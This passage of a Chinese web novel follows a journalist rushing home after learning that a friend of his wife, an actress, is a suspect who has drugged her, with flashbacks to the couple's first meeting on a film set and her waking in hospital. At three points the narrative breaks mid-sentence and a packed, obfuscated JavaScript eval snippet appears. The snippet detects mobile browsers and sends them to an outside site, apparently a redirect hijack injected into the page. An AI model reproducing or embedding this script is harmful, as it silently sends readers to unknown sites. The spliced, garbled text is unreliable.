“怎么了?”邵峥意识到事情的严重性,他很少看到邵聿露出这么慌乱的一面,“有是有,你先告诉我是什么事,我得看看方不方便让他们去做。” 电话那头传来一阵响亮的发动机声响,紧接着又是急促的刹车声,听得人惊心肉跳。 “柏霆宇那个隐婚妻子,现在和知渺单独在家里。” 他的声音走过呼啸的风声和漫长的无线电流,有些失真,邵峥愣了愣,问道:“谁?” “她就是帮知渺挡下那一刀的人!”邵聿闷声说道:“我怎么就没想到呢,程薇柔,程二囡,都姓程……” 邵峥的呼吸也滞住了,他迅速地在脑海里将这几个人名关联起来,“她怎么会在你家?” “我也不知道,但我总觉得事情没有那么简单。她处心积虑地接近知渺,获得了她的信任,一定有所图谋。” “这件事知渺知道了吗?” “应该不知道,而且从刚才开始我就一直在给她打电话,拨不通。我现在正在赶回A市的路上,你安排你的人先去我家里看看。” “好好好”,邵峥冷静了下来,劝道:“我现在就派人过去,你开车小心。别急,她既然救过知渺,应该不会再伤害她。” “嗯,我知道了。”说完,邵聿挂断了电话,立刻又拨给江知渺,可惜还是忙音,毫无波动的机械电子音将他的心揪了起来。 听到曹老师说出“程薇柔”这个名字后,他拔腿就往山下跑,不敢再耽搁一分一秒。在老乡们的帮助下,车子顺利从深陷的泥坑里开了出来,下山时泥石流也正好清理完毕,他这才加足马力,直奔A市。 尽管N省与A市相邻,可石禾村的位置在N省的偏远山区,开车回A市再快也要至少4个小时。恰逢雨后,道路积水严重,时有事故发生。堵在高速路上时,邵聿再也按捺不下焦急忧虑的心,拨通了邵峥的电话,向他求助。 “他为什么要给你起这个名字呢?”一天一夜没合眼,江知渺感觉有些疲惫,她斜倚在柔软的沙发上,枕着一侧手臂。 “他刚转到我们班上时,语文老师正在讲《采薇》。他说我认真读诗的样子很美,与这个地方格格不入,他当时只想带我离开那里,让薇草长在最清澈的池水中。” “那……后来呢?”江知渺拿了一条宽大的薄毯,将她们两人都盖住。 “后来的故事,你不是已经知道了吗?”程薇柔的声音突然变得尖锐滞涩起来,她的嘴角勾起一个高深莫测的笑容,江知渺却丝毫没有感受到温暖,反而开始浑身发冷。 “我怎么会知道呢?”她的脑海里不知不觉间蒙上了一层雾霭,轻雾笼罩在一片清澈见底的小池塘上方,天上下起了淅淅沥沥的小雨,雨帘中伫立着一支孤零零的薇草。 雨雾和眼前程薇柔神秘的笑意让她的心头空了一下,有些捉摸不透的想法开始在大脑中孕育,她用力地睁大沉重疲惫的眼皮,下意识地伸手抓了抓,却没能捕捉到任何踪迹。 “总角之宴,言笑晏晏。信誓旦旦,不思其反……”程薇低吟着学生时代学过的诗句,苦笑着摇了摇头,“后来的故事,你也读过呀。” 江知渺紧绷的心弦应声松弛下来,原来是《氓》的故事,她的确曾在学校里学过。原本相依为命的两个人,最后走向这样的结局,假如她是程薇,也很难释怀。 她想要去拉程薇柔的手,安抚她的情绪,可手臂刚刚抬起,就脱力地坠了下去。江知渺懵懵地看着自己的手,只觉得像是失去知觉一样,虽然用眼睛看得到,却无法控制。 她不信邪地咬住下唇,想要再次尝试,却发现不仅是双手,全身都开始蔓延那种绝望的无力感。她求助般地望向程薇柔,然而对方正认真地盯着她徒劳狼狈的样子,整个人缩进柔软的毯子里,袖手旁观。 “薇柔,你……”她终于察觉到有什么异样,自从她喝了杯子里的水,大脑就开始混沌,身体也在发软。 “江知渺,你不是最佳女主角吗?那你知不知道,在我和他的故事里,你也抢走了我女主角的位置?” 邵聿猛打方向盘,轮胎在湿漉漉的路面上发出刺耳的摩擦声。仪表盘的指针不断上蹿,车速早已超限,可他仍嫌不够快,还是死死地踩着油门,似乎只要慢上一秒,整个世界就会崩塌。 后视镜里倒映出他紧绷的下颌和发红的眼眶,他一次又一次拨打江知渺的号码,电话那头长久的忙音像钝刀割着神经。他不敢想象最坏的结果,可那些画面却不受控制地往脑子里钻。 邵聿咬紧牙关,指节因攥着方向盘太过用力而泛白,他早在心底骂了自己一万遍。 自从得知柏霆宇的隐婚妻子也有嫌疑,他就向台里请了长假,独自前去调查。邵家做的是度假村的生意,接触过全国各地不少的工程承包商。邵聿拿着邵峥帮他调查出来的地址清单,挨个去寻访“程二囡”这个人打过工的地方,和那里的包工头和工友了解她的行踪。 江知渺遇袭那天,他也在急诊室外,一个和程二囡住过同宿舍的工友,在邵聿抵达她的住处前,发生了严重的车祸。 他这一路实际上并没有得到什么有用的信息,包工头和工友都说她年纪小又不爱说话,对她的个人情况全然不知。只有这个工友,旁人都说她和程二囡关系不错,休息日还曾一起出去买衣服。 邵聿不愿意放弃这一条线索,他主动帮她的家人垫付了手术费和住院费,在手术室门外等了五个小时。 抢救无效的消息,与江知渺遇险的消息,是同时出现的。身穿白大褂的主治医生遗憾地宣布病人去世,邵峥给他打来电话,说柏霆宇的粉丝持刀袭击了江知渺,有人帮她挡下了这一刀。 他当时只想不顾一切地飞到江知渺身边,将她紧紧地抱在怀里,安抚她恐惧的战栗,安静地陪伴在她的身边。 然而,这位不幸的工友去世后,她的家人很快就要清理遗物,将她租住的房子退租,经过漫长的心理斗争,邵聿最终还是狠下心,决定不回A市,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863795|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接跟随他们回到出租屋内,从她的遗物中寻找线索。 导航机械地报着“距离目的地还有三百七十公里”,他却觉得比几辈子还要长。邵聿将后槽牙咬得生疼,喉咙里泛着铁锈味,才忍住没对着空荡荡的车厢嘶吼出声。 此时此刻他心底只有万分懊悔,假如当时他回到A市,亲眼见到程薇柔,或许就能从她的一举一动中察觉到蛛丝马迹,阻止她接近江知渺。 红灯像鲜血一样刺眼,他低声咒骂一句,手指焦躁地敲击着方向盘,脑海中闪过无数糟糕的可能性。终于,绿灯亮起的瞬间,车子如离弦的箭般冲了出去。 “薇柔,你误会了,我和柏霆宇……” “你和柏霆宇什么都没发生。”程薇柔高声盖过了她微弱的声音,“我知道。” “这些年里,他谈过的女人,单是我知道的就有十二个,我不知道的大概还有很多。”她突然将脸靠得很近,近到江知渺能在她通红的眼眸中看到自己的影子,“你和她们都不一样。” 在药物的作用下,江知渺愈发觉得困倦,她强行吊着最后的一丝精力,努力去分辨程薇柔说的话语,身体不受控制地向下滑去,半躺半靠在沙发上。 “一个多月前,我来A市找他,恰好遇到中学时一个同班同学。他找上门来,威胁说要曝光他的家庭和身世,跟我们要一千万现金。” “霆宇和他大吵了一架,不但没有给钱,还把他从家里赶了出去。晚上,我在卧室里,听见他跑到阳台上,给你打电话。” 程薇的脸色唰地一下变得惨白,像是提线木偶一样,被人拉起嘴角,笑得格外悲戚,“他管你叫‘姐姐’。” 江知渺摇了摇头,在片刻的清明中,她回忆起那天的事情。的确,是有这么回事。但她也只是安抚了柏霆宇的情绪,让他做好被人揭发的思想准备。 “姐姐?”程薇轻笑道:“他把你当成了自己的家人,可是在你出现之前,明明只有我才是他唯一的家人。” 说着,她的气息逐渐加重,怒气让她的脸上多了几丝不健康的红晕,她一把甩开身上的毯子,狠狠地掐住江知渺的手腕,“就算他出轨那么多乱七八糟的女人,但我知道,最后他还是会回到我身边的。因为他想要的安宁,只有我才能给他。” 她咬牙切齿地质问道:“江知渺,你凭什么抢走我的位置?” 江知渺有太多太多的疑问,又有太多太多的辩解,但全身都用不上力气,只想要昏昏沉沉地闭上眼睛。她狠下心,用虎牙咬破了自己的舌尖,疼痛让她回复了片刻清醒,她艰难地发出声音:“那你,为什么要……救,救我?” 程薇眼神里的火一瞬间就被浇灭了,她倏地松开了手,茫然地盯着她涣散的瞳孔,愣了许久,颓然地缩回沙发角落。 沉寂了许久的手机终于响了起来,第一声铃声还没结束,邵聿就接通了电话,“喂,邵峥,你的人见到知渺了吗?她怎么样了?程薇柔还跟她在一起吗?” 面对他连环炮般的提问,邵峥那边只有死一般的寂静。沉默持续了十几秒,终于,他深深地叹了一口气,说道:“你到A市之后,直接来中心医院吧。” 33. 初遇 “您好,我是国立电视台的实习记者,我叫邵聿,之前联系过钱导,跟他约好上午十点进行采访,麻烦您帮忙提醒他一下。” 邵聿站在原地等待,身边不断有工作人员匆匆忙忙地搬着各种设备路过,不一会儿,钱导的助理就回来了,“邵记者,不好意思,钱导那边还有一场戏没拍完,需要再等一会儿,要不您跟我进去等吧?” 邵聿点了点头,右手从地上搬起三脚架扛在肩上,左手用力紧了紧始终握着的摄影机,艰难地负重前行。 “各部门准备,三、二、一、开始——” 身着一袭白裙的年轻女子不断地向后退去,身后便是深不见底的水池。她惊恐地摇晃着脑袋,漂亮精致的眼睛楚楚可怜地含着泪水,口中念道:“不,我不信!我不相信是你害死了我母亲!” 她的面前,一位面貌如希腊雕像一般立体的年轻男人,试探性地向她靠近,手伸得很长,“阿洛,你听我解释,我不是故意要伤害你母亲的,我也是为了保护你——” “不!”女子发出一声撕心裂肺的哀嚎:“骗子,你这个骗子!你就是贪图我们尤家的财富!” 说着,她毅然转身,面向着蔚蓝深渊,决绝地张开双臂,投入水中! “咔——”扩音器里传来巨大的一声电流嗡鸣,刺耳的声音让邵聿忍不住皱起了眉头。 待噪音消失,钱导的高声质问响彻整个片场:“女主角,怎么了?水里已经安排好了救生员,为什么不跳?” “钱导——”被问到的女人撒娇似的拉长了尾音,“我生理期嘛,没法下水。” 在场的工作人员不约而同地黑了脸,还有人小声抱怨道,“怎么不早说”。钱导握着对讲机从监视器后面走出来,气势汹汹地走到她面前。 邵聿认出这是今年一夜爆红的网红池柚,他以为钱导就要跟她发火了,可导演却出人意料地只是叹了一口气,拿起对讲机说道:“选角导演,你去找一个替身演员来,补拍最后跳水这一幕。” 时值腊月,一场大雪过后,连空气都是钻心的寒冷,宁静的水面看上去更像是一座冻得严严实实的冰窖,让人望而却步。片场周边原本围着很多等待工作机会的群演,一听要下水,纷纷作鸟兽散去。 正当选角导演一筹莫展之际,在快速向外离去的人群中,突然钻出来一个纤细的年轻女孩,清亮的声音引得邵聿不由得回头望去,“导演,我能跳!” 她灵活地从人群缝隙里七拐八拐地跳到选角导演面前,期待地眨了眨眼睛,瞳孔中反射出比冬日暖阳还要亮的光芒,坚定地重复了一遍:“我能演,我能下水。” “好”,选角导演将她上下打量了一番,扭头招呼道:“化妆老师,给她换上服装,脸就不用化了,只拍背影。” 邵聿探出头去,目送着她跟着化妆师快步走进临时搭建的化妆间,很快就换上了与刚才那位女演员同样款式的白色连衣裙,三步并作两步,走上水边的高台。 一个中年男人拿着剧本走到他面前,邵聿猜测那个人应该就是副导演。他交代了三两句,女孩不断地点头,很快就说完了戏。周围开始清场,钱导的声音再次响起:“各部门准备,三、二、一、开始——” 偌大的片场顿时陷入一片寂静,连风声都没有,全场的目光都落在高处那抹白色倩影身上,只见她素净的脸上挂起一抹淡然的笑意,眼中似乎闪过一丝泪光,趁无人抓住那滴泪前,毅然决然地转过身去。 她的背影在静谧的冬日显得格外孤寂,高处不胜寒,微风掀动了轻盈的裙边,像是一朵朵浪花拍打在脚边。 蓦地,她向前迈出了一小步,身子半悬在边沿,看得人触目惊心,邵聿的心也跟着提到了喉咙,不知不觉间将手里紧握的贵重设备放在了工具箱上。 没有停顿太久,她像是终于下定决心,高高地扬起双臂。莹润的皮肤在雪后日光下泛着清澈的光泽,恍惚间如同生出一对翅膀,带着她一跃而下! “扑通——” 是雪降落的声音。 “咔、咔、咔!”尖锐甜腻的女声打破了这场雪景,邵聿循声看去,方才不愿下水的池柚跳到了镜头前,挥舞着手臂,一脸痛心疾首。 “钱导,这演的都是什么啊?和我前面铺垫的情绪完全接不上!”她双手抱在胸前,眉眼娇蛮地挑起,忿忿地嘟着嘴。 她指指点点了好一会儿,救生员才把女孩推到水池边。她全身都已经湿透了,乌黑浓密的长发凌乱地黏在脸上,顾不得形象,随手扒拉了几下就被副导演喊到面前,“准备准备,再保一条。” “导演,刚才我的表演有什么问题吗?”她用双臂紧紧地环抱着自己,在冷风中瑟瑟发抖,裙摆之下小腿的皮肤已经冻得发紫。 “我看都是问题!”池柚指着她说道:“三米远的距离你走了半分钟,要跳不跳的,别以为我看不出来你是在给自己加戏!” 女孩委屈地咬住了下唇,鼻子一抽一抽,却没有被她说哭,只是深深地沉了一口气,平静地对副导演点了点头,“导演,我可以再跳一次。” 副导演的脸色看上去有些为难,又一阵北风呼啸而过,他呲着牙将身上羽绒服的拉链拉高了一点,不情不愿地点点头,严厉地说:“这次按主演的要求跳,别再耽误时间了。” 她再次换上一件干燥的同款素白裙,头发看得出经过吹风机烘干,但时间太短,发尾还是挂着水珠,导演低声嘱咐了几句,造型师快步上前,将她的头发从中间分为两簇,放到了身前,留下一个瘦削的背影。 “各部门准备,三、二、一、开始——” 凛冽的寒风中,女孩高挑的身影摇摇欲坠,哪怕她加快了步伐,压缩了动作时间,几乎是转眼间就跳入深水中,只留下一圈涟漪,邵聿还是从这短短的几十秒中,看出了难以掩盖的寂寥。 这一次的表演非常顺利,刚一落水,导演就宣布下工。女主角池柚披上及踝的羽绒服,漫不经心地从邵聿的面前经过,余光瞥到他时,嫌弃地扭开了头。他低下头看了看,这才发现自己只顾着匆匆赶路,廉价的皮鞋上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876750|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沾满了污泥和雪水。 邵聿弯下腰准备擦擦鞋面,忽然,一双湿漉漉的帆布鞋出现在他的视线里。鞋子的主人正匆匆赶路,很快从他的视野左侧来到右侧,马上就要消失不见。 他猛地直起腰来,迈开步子追了上去,走之前还不忘迅速地背起沉重的设备,三步并作两步来到帆布鞋的主人面前,拦住了她的去路。 刚从水池里爬出来的女孩脸色苍白,嘴唇也发紫,被人突然拦住,显然是吓了一跳,兔子似的向后跳了一步。邵聿走得急,险些没刹住脚步,控了很大的力气才没让肩上的三脚架甩到她的身上。 近在咫尺,邵聿终于看清了她的样貌。她有一张非常适合大银幕的脸,面部线条流畅却不失力度,不施粉黛,皮肤质地如白瓷般泛着柔和哑光。淡雅的五官排布舒展,可情绪浓烈时却迸发着不可忽视的侵略性,自带一种知识分子的疏离感,细腻笔触勾勒出诗意的留白。 眼睛,她的眸子有着摄人心魄的能力,邵聿的目光被她那双天生含着神秘感的眼睛深深地吸引了。她探究着面前男人的身份,眼尾微微下垂,融入肌肤,如同月牙沉进雾里,可眼神却暗含锋芒,像是要将他置身于水汽缭绕的长河之中,不断沉沦。 过分的寒冷让她的嘴唇细微颤抖,轻微的黑眼圈和小痣未经修饰,反而增加了自然流露的慵懒,将疲惫感也化为一种特殊的魅力。 邵聿出现在她面前的那一瞬间,她的神情中不小心流露出本色的惊慌,可抬眸时却仿佛什么也没有发生,沉稳得让他很难联想到方才拍戏时那个极具破碎感的身影。 女孩在他的脸上探寻了两秒,眼尾向下弯折,笑意驱散了一丝清冷,她礼貌地开口询问:“先生,请问您是不是认错人了?我想我们并不认识。” “……不,没有认错。”邵聿语无伦次地解释道:“那个,我……” “邵记者!”钱导助理的声音忽然从身后响起,随着一阵急促的脚步声,他走到了邵聿身边,“钱导那边准备好接受采访了,您现在跟我过去吧。” “啊?好的!”他条件反射地迈开脚步,然而刚走了一步,他倏地回过头来,肩上的三脚架险些又打在女孩身上。 邵聿手忙脚乱地从裤兜里掏出一张名片,鼓起勇气,直愣愣地推到女孩面前,也不敢看她的表情,闷头说道:“你好,我是国立电视台的实习记者邵聿,这是我的名片。” 他顿了顿,飞快地说道:“不知道能否请你喝杯咖啡,如果有空的话,请你拨打上面这个号码,谢谢。”说完,他跟上导演助理,脚步多了几分凌乱,差点儿被地上交错的电线绊倒。 “喂?” 两个小时的漫长专访结束,看着手机上未加备注的陌生号码,邵聿的心提到了嗓子眼。他按了几下才成功接通电话,另一头带着鼻音的女声让他不由自主地紧张起来,手心开始冒出冷汗。 “喂,你好,我是邵聿。” “我是江知渺。”她轻轻吸了吸鼻子,“你说要请我喝咖啡,这句话还算不算数?” 34. 拥抱 「小江,这是今天日结的工资哈。剧组看你拍得很努力,还给你加了一百块钱的奖金!」 「请收款:300元」 「谢谢姐!姐,以后还有这种替身的机会,麻烦您再通知我。」 江知渺回复完影视城群头赵姐的微信,就听到咖啡店门口的风铃清脆作响。她抬起头,只见一个身材挺拔男人风尘仆仆地推门而入,焦急的目光在店内找寻了一圈,最终落在她的身上,眼神明显亮了起来,大步流星地向她走过来。 他在江知渺面前放下一瓶饮料,这才落座。她好奇地拿起塑料瓶,看到瓶身上“姜丝柚子茶”几个字,会心一笑,本打算用力去拧开瓶盖,却没想到异常轻松,一转就打开了。 “瓶盖是我刚才拧开的,你放心,绝对是新的,没人喝过。”说着他还拿出手机上的付款记录,让她看一眼刚刚过去没多久的时间。 江知渺笑着摇了摇头,也没去看他的自证,径自用双手握住瓶身,不属于冬日的暖意自掌心蔓延开来——原来还是温的。她抿了一口,感受着暖流浸染五脏六腑,忍不住一口气喝下小半瓶。 “对了,还有这个。”邵聿不知从哪儿翻出一盒感冒冲剂,推到他面前,“刚才电话里听见你好像有点感冒,这个药记得一天喝三次,连续喝三天。” 他说话的时候,江知渺始终直直地盯着他,上挑的眼尾恍惚勾人,无需台词,眼神似乎就在讲述着什么。邵聿嘱咐完,抬起头,与她的目光不期而遇,顿时脸颊发烫,“怎么了?” “邵聿。”她突然用正式的语气叫出他的名字,邵聿感觉到她周身温度似乎也跟着降了几度。 他正襟危坐起来,听她用礼貌疏离的语气说道:“谢谢你的好意。但,如果你是想追我的话,对不起,我目前没有谈恋爱的打算。” “我……” 江知渺打断了他的话,从包里拿出他的名片,推回到他面前,“我不想骗你,也不想耽误你的时间。其实今天我会来赴约,只是因为你来自国立电视台,是一位媒体人。” 邵聿完全没有料到她会将话说得这样直白,不仅将他自己都没有想清楚的心思戳破,还毫不客气地划清了界限,甚至没有给她自己找任何借口。 他蓦然意识到,自己对江知渺的预想完全是不合格的,在那极具破碎感的背影下,实际上藏着一个倔强的灵魂,不计后果,不问因果,不达目的不罢休。 她毫不掩饰的野心让邵聿既惊惧又兴奋,像是在马拉松的漫漫长路上,身前从天而降一位同行跑者,始终与他保持着不远不近的距离,吸引他拼命向前,奋力拉近距离,仅仅为了看一眼她是何方神圣。 这种充满未知的挑战欲,邵聿从来没有体会过,新奇的感受调动了他的每一个沉睡的细胞,连心脏都在叫嚣着渴求。 “我可以给你提供采访的机会。” 嘴巴快于大脑,先一步将冲动和冒失暴露出来,实际上他根本没有想好该怎么让国立电视台采访一位不知名群演,他不过是一个刚进入电视台不到半年的菜鸟新人。 然而,在脑海深处,似乎始终有一个声音在对他说:不能让她走,假如现在错过,以后就再也不可能有任何交集了。 江知渺明显没有预料到这个结果,她茫然地眨了眨眼,不确定地问道:“国立电视台,采访我?” 经过片刻的思索,邵聿已经飞快地在心里勾勒出一个方案,他毫不犹豫地点点头,“对,我会策划一期对南山影视城群演演员的专题采访,想请你作为演员代表,接受采访。” 江知渺的手指无意识地紧握瓶身,塑料瓶被她捏得扭曲变形,她犹疑的眼神一直打量着眼前清逸俊朗的男人,尝试判断话中的真伪。 许久,她轻轻地笑了笑,将右手伸到桌面上,说道:“那就多谢邵记者了。” 然而邵聿并没有顺势握住她的手,他拿起自己那张被退回来的名片,安稳地放到她的手心,问道: “现在,我可以追你了吗?” A市,中心医院。接近凌晨十二点,依旧人头攒动,急诊大厅内,病人家属行色匆匆,不时有医生推着病床大喊:“让一让!让一让——” 邵聿冲进急诊大厅,慌乱已经让他无法分辨方向,他像无头苍蝇一样在大厅里四处寻找电梯,几次撞到其他人的肩膀,一路念叨着“抱歉”,终于找到了电梯间。 二层、三层、四层……他从未觉得时间如此漫长过,身边的人一个一个走出电梯,到达八层时,原本人满为患的电梯里只剩下了他一个人。 八层都是VIP病房,走廊里几乎见不到陪同家属和病人,四处弥漫着浓重的消毒水味,落针可闻的寂静中隐约能够听到病房里呼吸监测仪器“滴、滴、滴”的轻响,让他的心底愈发焦虑。 终于,他来到了僻静的走廊尽头,透过房门上的玻璃窗,根本看不到病床上的人,视线被一道布帘遮挡得严严实实。邵聿将手搭上门把手,轻轻按动,几乎没有发出一点声响。 五米,从门口到病床前的五米内,他如同朝圣一般,走得极为小心谨慎,生怕惊扰了宁静的灵魂。然而,在看到病床上那个人的一瞬间,他的眼眶还是忍不住湿润起来。 江知渺被包裹在厚实的棉被中,只露出脸部和一小段脖颈,纯白色布料将她的脸色衬得苍白,她几乎一动不动地躺在那里,邵聿凑近了才能看到她微弱的呼吸起伏。 他忽然意识到,自己已经很久没有仔细地看过她了。从前的枕边人,如今面貌依旧,可细微的呼吸声里满是他从未发觉的疲惫和破碎。 邵聿温柔地拨开她额头上散落的一丝碎发,指尖触及到高热的肌肤,他不禁有些后悔:他有太多太多次机会好好地看看她,好好地和她说说话,可结果是自己全部都没有勇气让她知晓,只能束手无策地看着她躺在病床上,祈祷她早点醒来。 “她怎么样了?”病房的门被人猛地推开,邵峥的声音伴随着剧烈喘息,像是一路奔跑而来。 邵聿回过头去,只见邵峥双手撑在膝盖上,正大口大口地呼吸着,额头冒出一层汗珠,板正的领带也早已散乱,一瘸一拐地走到病床前,仔细地查看病床上江知渺的情况。 “医生刚刚来过了,说没有什么大碍,等她醒过来就可以出院了。”邵聿将她的手握进掌心里,轻柔摩挲。 邵峥这才松了一口气,他扶住床尾的挡板,后怕起来,“你不知道,我手底下的人跟我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890192|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,他们到你家的时候,房门从里面反锁,怎么叫也叫不开,好几个人撞了半天才撞开。” “进去之后,知渺倒在沙发上不省人事,怎么叫都叫不醒。那个程薇柔拿着把刀坐在她旁边,见他们闯进去,还不愿意把刀放下。一开始他们告诉我的时候,我还以为她受了伤,赶紧安排私人飞机飞回来了。 邵聿望着江知渺沉静的睡颜,低声道:“谢谢,幸好你的人去得早。” “要不是你及时告诉我……唉,真不知道那个疯女人会干出什么。”邵峥一声沉重的叹息后,病房内又回归了平静。 江知渺感觉自己好像做了一个很长的梦,梦里她回到了二十二岁,刚刚从中央艺术大学表演系毕业,在南山影视城做群演。 那时她不像现在这样有大把的剧本可以挑选,演一个小丫鬟已是来之不易,风里来雨里去,演死尸演罪犯,只有难吃的盒饭与微薄的报酬,可她却觉得每天都非常充实。 后来她遇见了邵聿,他像一颗小行星滑落在自己这片坑坑洼洼的月壤上,拖着长长的火花,一经降落便引起强烈震感。 坦白地说,刚开始收到邵聿的名片时,她并没有打算与他建立任何交集。国立电视台,代表全国广播电视风向的媒体,江知渺自知她只是一个无名的小演员,和他完全是两个世界的人。 所以她故意展露出市侩投机的一面,本想将他劝退,却没想到,邵聿坦荡地接下了她的要求,主动提出要为群演策划一期专题采访。 不管他的动机目的如何,江知渺无法否认的是,自己被他的诚意感动了。节目播出后引起了广泛的关注,她也因此小小地升了咖位,获得了更多参演机会。 后来她直白地问过邵聿:“你为什么会做这期群演专访?难道只是为了我吗?” 邵聿是这样回答的:我的确是为了你,但不是为了追你,而是为了所有能够像你一样、在寒冬腊月跳入冰水的演员。 她对这个答案非常满意,也默许了邵聿对她的一切示好。江知渺从来没有想象过,自己能够像世界上任何一个平凡的女孩一样,与深爱着自己的人一起去压马路喝啤酒,抓紧拍摄间隙溜出片场见上一面,只为给对方送上生日礼物,跨年夜冷清的独居公寓也能有人为她做上一桌年夜饭。 从未有过的家的温暖将她团团包裹,给了她前所未有的安全感。尽管后来因为一次意外,他们仓促地领了结婚证,不过一切还都和从前一样,婚后他们也依旧幸福得不愿分离一分一秒,连被封杀带来的失落感都被这份太过浓烈的幸福冲淡了,她甚至想:假如这辈子真的不能再次登上荧幕,就做邵聿的妻子,也不错。 然而好景不长,她梦幻般的生活,还是戛然而止。 江知渺猛地睁开双眼,胸口因为剧烈的喘息而发痛,干燥的喉咙让发音变得艰难,她的睫毛颤了颤,视线从模糊到清晰:白得刺眼的天花板,消毒水的刺鼻气味,强烈的陌生感令她不由得恐惧起来。 “知渺?”还好,还有一个熟悉的声音,让她找回了自己的锚点,就像风筝在彻底迷失前被人拉住了绳线。 下一秒,江知渺再也控制不住汹涌的情绪,如飞蛾扑火,拼命地扑向邵聿怀中。 35. 中断 他们已经太久没有像这样拥抱过,江知渺的鼻尖萦绕着邵聿身上淡淡的古龙水味道,熟悉的气息让她眼眶发酸,她又紧了紧自己的手臂。 “你……现在感觉怎么样?有没有哪里不舒服?”耳畔,邵聿的声音很闷,有些不自然。 江知渺摇了摇头,额头刚好蹭过他下颌的胡茬,感受到邵聿明显僵了一下。她抬头望去,惊讶地发现他满脸疲惫,甚至带上了几分沧桑,眼底发青,头发也乱蓬蓬的。 这几天邵聿都在外省出差,想必是连夜赶回来看望她的。江知渺稍稍松开手臂,卸下靠在他身上的力气,却似乎听到他的呼吸声加重了,手也搭上她的腰背,仍然维持着非常亲密的距离。 “你那边出差的事情处理好了吗?突然回来会不会耽误工作?”她歪了歪头问道。 邵聿眉头微蹙,只是专注地盯着她的眼睛,一言不发。邵峥推门进入病房的时候,看到的便是这样的画面:江知渺窝在邵聿的怀里,两个人似乎正在眉目传情。 “那个……我走了,你们俩聊。”他悻悻地转过身,准备离开。 “小叔。”江知渺从邵聿的肩膀上方探出头来,把他叫住了。 邵峥乐乐呵呵地往病床边走,对上了邵聿幽怨的眼神,满脸写着“你来干什么”。这个比自己没差几岁的侄子,从小就不肯承认俩人的辈分,平日里使唤他做事也从来不客气,如今也算是因为他吃了瘪,邵峥更是幸灾乐祸,“哎呀,真不好意思,小叔我打扰你们夫妻俩二人世界了。” “不就比我大了四岁么,还真拿自己当长辈了?”邵聿嘀咕道。 “怎么不算?”邵峥拉了把椅子,紧挨着他坐到旁边,见他连人带椅子挪开与自己的距离,也不恼,反而是凑了上去,“虽然你从小学习成绩就比我好,也比我懂事,但谁让我爷爷比你爷爷大了两岁呢?快,叫小叔。” 邵聿轻哼了一声,扭头对江知渺说道:“你也别管他叫小叔,叫哥叫名字都行。” 因为邵峥的出现,原本又要降温的空气难得地轻松起来,江知渺一言不发,只是偷笑。邵峥看不下去了,对着她抱怨起来:“侄媳妇,快管管他吧!你都不知道,这段时间他是怎么压榨我的劳动力的,简直是比旧时代的地主还要剥削啊!” 江知渺愣了片刻,问道:“他最近有什么事麻烦你了吗?” 话音一落,方才好不容易活跃起来的气氛顿时冷了下来,邵聿不去看她,而是扭头看着各种监测仪器,邵峥也被问得目瞪口呆,“啊?他,没跟你说过吗?” 见她困惑地摇了摇头,邵峥从背后扯了扯邵聿的衣服,不过病床前本就拥挤,这点小动作根本逃不过江知渺的眼睛,她坐直了身体,目光严肃地扫过邵家这叔侄二人,“到底是什么事?” 邵聿给邵峥递了个眼色,邵峥无奈地叹了口气,只得替他解释起来:“大约是两周以前,警方公开柏霆宇已婚的消息,邵聿他就开始自己寻找程二囡。” “上周我得到消息,说有人看到柏霆宇去世前,她坐火车外出,带了很多行李,应该是去找他。我们觉得她的嫌疑很大,邵聿就想去她以前打过工的地方找找线索。” 江知渺早已震惊地说不出话来,邵峥的每一个字他都听得懂,可连起来却是她怎么都没想到的结果。原来自己受到柏霆宇的粉丝持刀袭击时,邵聿为了还她清白,独自去寻找其他嫌疑人了吗? “幸好他找到了程二囡当年打工时关系比较好的一个工友,虽然赶过去的时候那个工友刚好发生车祸去世了,不过从她的遗物里,还是找到了程二囡当年的一份成绩单。” “就是通过这份成绩单,邵聿联系到了她中学时期的语文老师,也是从语文老师那里得知,程二囡曾经在试卷上用过‘程薇柔’这个名字。” 听到“程薇柔”三个字,江知渺的眼神闪了闪,睫毛微微颤抖,手指下意识抓住了被角,“你见到她了?” 江知渺试探性地看向邵聿,他掖了掖被子,“如果没有找到她的语文老师,知道她的本名,恐怕今天真的要让她得逞了。” “得逞?”她不解地问道。 邵聿的语气变得凝重,“她想杀了你,你不知道吗?” “杀了我?”江知渺反问道:“不可能!她没有害我的想法。” “别动!”邵聿抬高了音量,明显急躁起来,“她伪造身份证件,潜伏到你身边,获取你的信任后,在你的水里加了安眠药,邵峥的手下赶到的时候,她手里还拿着一把刀!你还觉得她不会害你吗?” 